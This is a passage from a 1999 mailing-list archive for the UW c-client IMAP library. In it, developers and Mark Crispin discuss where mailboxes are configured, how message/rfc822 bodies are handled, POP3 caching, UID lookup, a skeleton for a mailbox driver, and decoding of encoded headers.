KAA13886 for ; Fri, 19 Feb 1999 10:45:47 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA31427; Fri, 19 Feb 1999 10:45:46 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA05645; Fri, 19 Feb 1999 10:45:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA31274 for ; Fri, 19 Feb 1999 10:44:52 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA22782 for ; Fri, 19 Feb 1999 10:44:51 -0800 Received: from twinlark.arctic.org (twinlark.arctic.org [204.107.140.52]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA22555 for ; Fri, 19 Feb 1999 10:44:51 -0800 Received: (qmail 23962 invoked by uid 1298); 19 Feb 1999 18:44:35 -0000 Message-Id: Date: Fri, 19 Feb 1999 10:44:35 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Jauder Ho To: Wes Brown Cc: c-client@cac.washington.edu Subject: Re: Setting where the user's mailboxes live In-Reply-To: <19990219104832.A11081@prozac.cwru.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jauderho@twinlark.arctic.org X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I wrote something up about this a while ago. Have a look see at http://www.carumba.com/imap/ first and let me know if you have any more questions. --Jauder On Fri, 19 Feb 1999, Wes Brown wrote: > I am looking to configure c-client (likely) so that the INBOX remains in > the system spool area, but the folders that messages are stored in all live > in ~{$USER}/Mail (or some such directory). > > When users currently connect to my UW imap 4.5.Beta server they get a list > of all the files/folders in their home directory along with their INBOX. > > Someday in the future I hope to move to delivering the mail the > ~{$USER}/mbox file. I am trying to plan ahead so that the users learn just > one way of doing things. > > I have looked at the documentation but wanted to check on a standard method > for doing this since most of the statements were to the tune of UW > internals -- this will hurt you. > > Thank you for your time and assistance. > > Wes > --- > Wes Brown > ewb4@po.cwru.edu wes@smellycat.com > http://prozac.cwru.edu/wes/About.me.html > KB8TGR > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > > From pinedev@shivax2.cac.washington.edu Fri Feb 19 11:59:11 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Feb 1999 11:59:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA22603 for ; Fri, 19 Feb 1999 11:59:10 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA00674; Fri, 19 Feb 1999 11:59:08 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA20232; Fri, 19 Feb 1999 11:59:03 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA30414 for ; Fri, 19 Feb 1999 11:57:25 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA14094 for ; Fri, 19 Feb 1999 11:57:25 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (stud@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA24514 for ; Fri, 19 Feb 1999 11:57:25 -0800 Message-Id: Date: Fri, 19 Feb 1999 11:54:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Wes Brown Cc: c-client@cac.washington.edu Subject: re: Setting where the user's mailboxes live In-Reply-To: <19990219104832.A11081@prozac.cwru.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 19 Feb 1999 10:48:32 -0500, Wes Brown wrote: > I am looking to configure c-client (likely) so that the INBOX remains in > the system spool area, but the folders that messages are stored in all live > in ~{$USER}/Mail (or some such directory). Did you read the file imap-4.5/docs/CONFIG? If not, do so; paying particular attention to example 2. I think that's what you wanted. From pinedev@shivax2.cac.washington.edu Fri Feb 19 12:32:41 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Feb 1999 12:32:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA29060 for ; Fri, 19 Feb 1999 12:32:37 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA25404; Fri, 19 Feb 1999 12:32:37 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id MAA11082; Fri, 19 Feb 1999 12:29:11 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA28334 for ; Fri, 19 Feb 1999 12:28:50 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA06392 for ; Fri, 19 Feb 1999 12:28:50 -0800 Received: from prozac.eeap.cwru.edu (prozac.EEAP.CWRU.Edu [129.22.56.185]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA01488 for ; Fri, 19 Feb 1999 12:28:49 -0800 Received: (from wes@localhost) by prozac.eeap.cwru.edu (8.9.1/8.9.1) id PAA13722 for c-client@CAC.Washington.EDU; Fri, 19 Feb 1999 15:28:19 -0500 Message-Id: <19990219152818.A13535@prozac.cwru.edu> Date: Fri, 19 Feb 1999 15:28:18 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Wes Brown To: c-client@CAC.Washington.EDU Subject: Re: Setting where the user's mailboxes live In-Reply-To: ; from Mark Crispin on Fri, Feb 19, 1999 at 11:54:32AM -0800 References: <19990219104832.A11081@prozac.cwru.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, Feb 19, 1999 at 11:54:32AM -0800, Mark Crispin wrote: > On Fri, 19 Feb 1999 10:48:32 -0500, Wes Brown wrote: > > I am looking to configure c-client (likely) so that the INBOX remains in > > the system spool area, but the folders that messages are stored in all live > > in ~{$USER}/Mail (or some such directory). > > Did you read the file imap-4.5/docs/CONFIG? If not, do so; paying particular > attention to example 2. I think that's what you wanted. It did not do what I thought I wanted to do. Now I am not completely sure that this is all that bad. I was originally thinking of having ~{$USER}/mbox be the user's INBOX and the message folders living under ~{$USER}/Mail/ With the myHomeDir modification, mail from the spool will only be transferred to the user's directory if the file mbox lives inside the directory referenced by myHomeDir variable (~{$USER}/Mail/). Wes --- Wes Brown ewb4@po.cwru.edu wes@smellycat.com http://prozac.cwru.edu/wes/About.me.html KB8TGR From pinedev@shivax2.cac.washington.edu Fri Feb 19 20:40:49 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Feb 1999 20:40:49 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA02255 for ; Fri, 19 Feb 1999 20:40:48 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA02143; Fri, 19 Feb 1999 20:40:47 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id UAA06894; Fri, 19 Feb 1999 20:38:12 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id UAA27944 for ; Fri, 19 Feb 1999 20:37:43 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id UAA31911 for ; Fri, 19 Feb 1999 20:37:43 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (brit@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA05750; Fri, 19 Feb 1999 20:37:40 -0800 Message-Id: Date: Fri, 19 Feb 1999 20:25:54 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: C-Client mailing list Subject: Re:re: Including message/rfc822 content as text In-Reply-To: <199902181233.MAA07217@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 18 Feb 1999 12:33:57 +0000 (GMT), Karsten Ballueder wrote: > > If you create an MESSAGE/RFC822 body, you are > > responsible for making sure that it is non-NIL. > But why do I need to? Because those are the rules. There are several other instances which require that pointer to be defined. > If I include the text of a mail > message, just like I include the text of a text/plain > content, then that pointer is still null, just the type > would be different. The nested.msg pointer does not exist with a text/plain type. It's a union; when it's type MULTIPART, then the same location is used for nested.part. > If in addition I set it to the body of > freshly created empty message as you suggested to me, then > the text contents are ignored and an empty message gets sent. I don't believe this claim. rfc822_output_body() is what writes the body in outgoing messages, and it does not use body->nested.msg. You must have some other problem. Are you using unmodified c-client sources? From pinedev@shivax2.cac.washington.edu Mon Feb 22 07:22:37 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Feb 1999 07:22:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA08212 for ; Mon, 22 Feb 1999 07:22:36 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA22573; Mon, 22 Feb 1999 07:22:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id HAA13510; Mon, 22 Feb 1999 07:17:38 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA11036 for ; Mon, 22 Feb 1999 07:16:15 -0800 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA10501 for ; Mon, 22 Feb 1999 07:16:13 -0800 Received: from nevis (nevis [137.195.28.38]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id PAA12612 for ; Mon, 22 Feb 1999 15:16:06 GMT Message-Id: <199902221516.PAA12612@phy.hw.ac.uk> Date: Mon, 22 Feb 1999 15:16:05 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: C-Client mailing list Subject: POP3 caching? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello, I have another two questions about how to use the c-client library. I found that when I call mail_fetchstructure() of mail_fetchfast() on a POP3 connection, it would download all complete messages, not just the headers. Then, when I=20 retrieve the text of a message, it would get downloaded again. >From the docs I understood that there was some kind of cache mechanism. Do I need to explicitly enable this? How can I do that? Like it is now, POP is _very_ slow. (Doesn't happen on=20 IMAP connections.) The other question is whether there is anything like mail_elt()=20 which would take not a sequence number but a uid as argument? Also, I found that mm_status() would sometimes get called with a stream argument different from the one used to call the c-client code (imap4r1.c allocates a new stream in some cases, a short comment there mentions it). Unfortunately also the mailbox path parameter is different from the original one, as something like {localhost/user=3Dxxx}/mypath would get changed to {my.host.com:143/user=3Dxxx}/mypath which makes it difficult to find out for which stream mm_status() got called, especially in a multithreaded environment.=20 (This is not too big a problem for me, but maybe it could be improved in a future release?) PS: Thanks for the reply about my message/rfc822 forwarding problem! I must have done something wrong before, it works perfectly now. -- Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@usa.= net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 22 10:11:34 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Feb 1999 10:11:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA05834 for ; Mon, 22 Feb 1999 10:11:33 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA18466; Mon, 22 Feb 1999 10:11:32 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id JAA23314; Mon, 22 Feb 1999 09:59:10 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA42696 for ; Mon, 22 Feb 1999 09:57:56 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (jjs@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA24213 for ; Mon, 22 Feb 1999 09:57:56 -0800 Message-Id: Date: Mon, 22 Feb 1999 09:38:02 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: C-Client mailing list Subject: re: POP3 caching? In-Reply-To: <199902221516.PAA12612@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 22 Feb 1999 15:16:05 +0000 (GMT), Karsten Ballueder wrote: > I found that when I call mail_fetchstructure() of > mail_fetchfast() on a POP3 connection, it would download > all complete messages, not just the headers. That's because that's the only way to get the correct RFC822 size. Many POP servers give the wrong information in the LIST command (they give the size with bare-LF newlines instead of CRLF newlines). Also, if you fetch MIME data, this is the only way to get the MIME information.. > Then, when I > retrieve the text of a message, it would get downloaded again. > >From the docs I understood that there was some kind of cache > mechanism. Do I need to explicitly enable this? How can I do > that? The data is cached. This can be verified by running mtest, answering "Y" to "Debug protocol", opening a POP inbox, doing "H ALL" (which calls mail_fetchstructure()) and then typing any message. You'll see that the message data isn't fetched again. By any chance, are you calling mail_gc()? If so, there's your mistake. > Like it is now, POP is _very_ slow. (Doesn't happen on > IMAP connections.) POP is very poor. That's why POP is obsolete, and you should concern yourself with IMAP instead. > The other question is whether there is anything like mail_elt() > which would take not a sequence number but a uid as argument? mail_msgno() converts a UID into a sequence number or indicates that the UID is invalid. You can then feed that valid sequence number into mail_elt(). From pinedev@shivax2.cac.washington.edu Mon Feb 22 10:49:55 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Feb 1999 10:49:55 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA08660 for ; Mon, 22 Feb 1999 10:49:54 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA19612; Mon, 22 Feb 1999 10:49:53 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id KAA13450; Mon, 22 Feb 1999 10:38:25 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA33086 for ; Mon, 22 Feb 1999 10:37:27 -0800 Received: from ares.voicerite.com (root@totalcall.com [209.203.195.254]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA31063 for ; Mon, 22 Feb 1999 10:37:25 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id NAA27640 for ; Mon, 22 Feb 1999 13:29:20 -0500 Message-Id: <030701be5e92$35186560$2601a8c0@voicerite> Date: Mon, 22 Feb 1999 13:36:05 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "C-Client mailing list" Subject: A propo... X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >POP is obsolete, and you should concern yourself with IMAP instead. Are there any thoughts about IMAP4 rev.? Example of what I need (and what I had to code manually) - "search through several (or all) subscribed mailboxes". Practice: for some reason I put letters from M.Yboss into several mailboxes; now I have a new message from M.Yboss with "Re: Re: My previous opinion has not been changed". I want to go through ALL my mailboxes searching for a message which is (a) from M.Yboss and (b) has "opinion" in subject field. Probably, there are some other things that people want to implement. Is anyone going in this direction (collecting opinions, practices etc.)? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 22 11:22:17 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Feb 1999 11:22:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA13239 for ; Mon, 22 Feb 1999 11:22:14 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA20471; Mon, 22 Feb 1999 11:22:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA23442; Mon, 22 Feb 1999 11:18:30 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA39626 for ; Mon, 22 Feb 1999 11:17:42 -0800 Received: from not.comversens.com (not.bostech.com [205.139.12.10]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id LAA17045 for ; Mon, 22 Feb 1999 11:17:41 -0800 Received: from mail-bridge.btrd.bostontechnology.com by not.comversens.com (SMI-8.6/SMI-SVR4) id OAA11254; Mon, 22 Feb 1999 14:17:38 -0500 Received: from mailer.comversens.com (mailer.btrd.bostontechnology.com [89.2.0.222]) by mail-bridge.btrd.bostontechnology.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9) id F1Q8V0PG; Mon, 22 Feb 1999 14:17:00 -0500 Received: from goofy_ex.icomverse.com by mailer.comversens.com (SMI-8.6/SMI-SVR4) id OAA20959; Mon, 22 Feb 1999 14:17:10 -0500 Received: by GOOFY_EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2232.9) id ; Mon, 22 Feb 1999 21:19:31 +0200 Message-Id: Date: Mon, 22 Feb 1999 21:19:31 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Rubinstein, Dmitry" To: "'c-client@u.washington.edu'" Subject: A skeleton of a mailbox driver MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi! Having written my first (but not the last) mailbox driver, I decided to write up some material, that will help me (and perhaps a few other people) to work with the server. For starters I wrote a C file, that can be used as a skeleton for writing the mailbox driver. It is incomplete yet, I'm still working on it, but here is the link to it anyway: http://www.wisdom.weizmann.ac.il/~dimrub/imap/skel.c http://www.wisdom.weizmann.ac.il/~dimrub/imap/skel.h Also I noticed many discrepancies between the internal.txt and mail.h as well as many things, that are not mentioned in the documentation. What is the status of work on the documentation to UW imapd? -- Dmitry Rubinstein <*> Home: (972)-8-8647229 Cell: (972)-53-428979 dimrub@icomverse.com http://www.wisdom.weizmann.ac.il/~dimrub -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 23 02:38:09 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Feb 1999 02:38:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA28693 for ; Tue, 23 Feb 1999 02:38:02 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA13714; Tue, 23 Feb 1999 02:38:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id CAA29482; Tue, 23 Feb 1999 02:34:49 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id CAA43456 for ; Tue, 23 Feb 1999 02:34:15 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id CAA31866 for ; Tue, 23 Feb 1999 02:33:44 -0800 Received: from nevis (nevis [137.195.28.38]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id KAA05816 for ; Tue, 23 Feb 1999 10:33:24 GMT Message-Id: <199902231033.KAA05816@phy.hw.ac.uk> Date: Tue, 23 Feb 1999 10:33:24 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: C-Client mailing list Subject: Re:=?iso-8859-1?Q?Gr=FC=DFe?= aus Darmstadt MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello, occasionally I receive mails with header lines, either To: or Subject: containing ISO8859 encoded characters. I've seen that the c-client code contains translation tables. How can I use them to decode these strings? Is there a function that I could pass a string like "=3D?iso-8859-1?Q?Gr=3DFC=3DDFe?=3D aus Darmstadt" and it would get me the Latin1 equivalent of that? -- Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@usa.= net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 23 05:20:39 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Feb 1999 05:20:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA31760 for ; Tue, 23 Feb 1999 05:20:37 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA08321; Tue, 23 Feb 1999 05:20:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id FAA17144; Tue, 23 Feb 1999 05:17:24 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id FAA27214 for ; Tue, 23 Feb 1999 05:15:53 -0800 Received: from phy.hw.ac.uk (root@innpin.phy.hw.ac.uk [137.195.28.2]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id FAA13052 for ; Tue, 23 Feb 1999 05:13:53 -0800 Received: from nevis (nevis [137.195.28.38]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id NAA16375 for ; Tue, 23 Feb 1999 13:13:40 GMT Message-Id: <199902231313.NAA16375@phy.hw.ac.uk> Date: Tue, 23 Feb 1999 13:13:39 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: C-Client mailing list Subject: Has anyone written a MAPI driver? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Before venturing out to do so ourselves, I wanted to check whether anyone on this list has already written a MAPI driver for c-client lib? -- Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@usa.= net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 "In a world without fences, who needs Gates?" =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 28 08:16:39 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 28 Feb 1999 08:16:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA14976 for ; Sun, 28 Feb 1999 08:16:38 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA09131; Sun, 28 Feb 1999 08:16:37 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id IAA18052; Sun, 28 Feb 1999 08:11:15 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id IAA34006 for ; Sun, 28 Feb 1999 08:10:21 -0800 Received: from not.comversens.com (not.bostech.com [205.139.12.10]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA07951 for ; Sun, 28 Feb 1999 08:10:20 -0800 Received: from mail-bridge.btrd.bostontechnology.com by not.comversens.com (SMI-8.6/SMI-SVR4) id LAA25436; Sun, 28 Feb 1999 11:10:19 -0500 Received: from mailer.comversens.com (mailer.btrd.bostontechnology.com 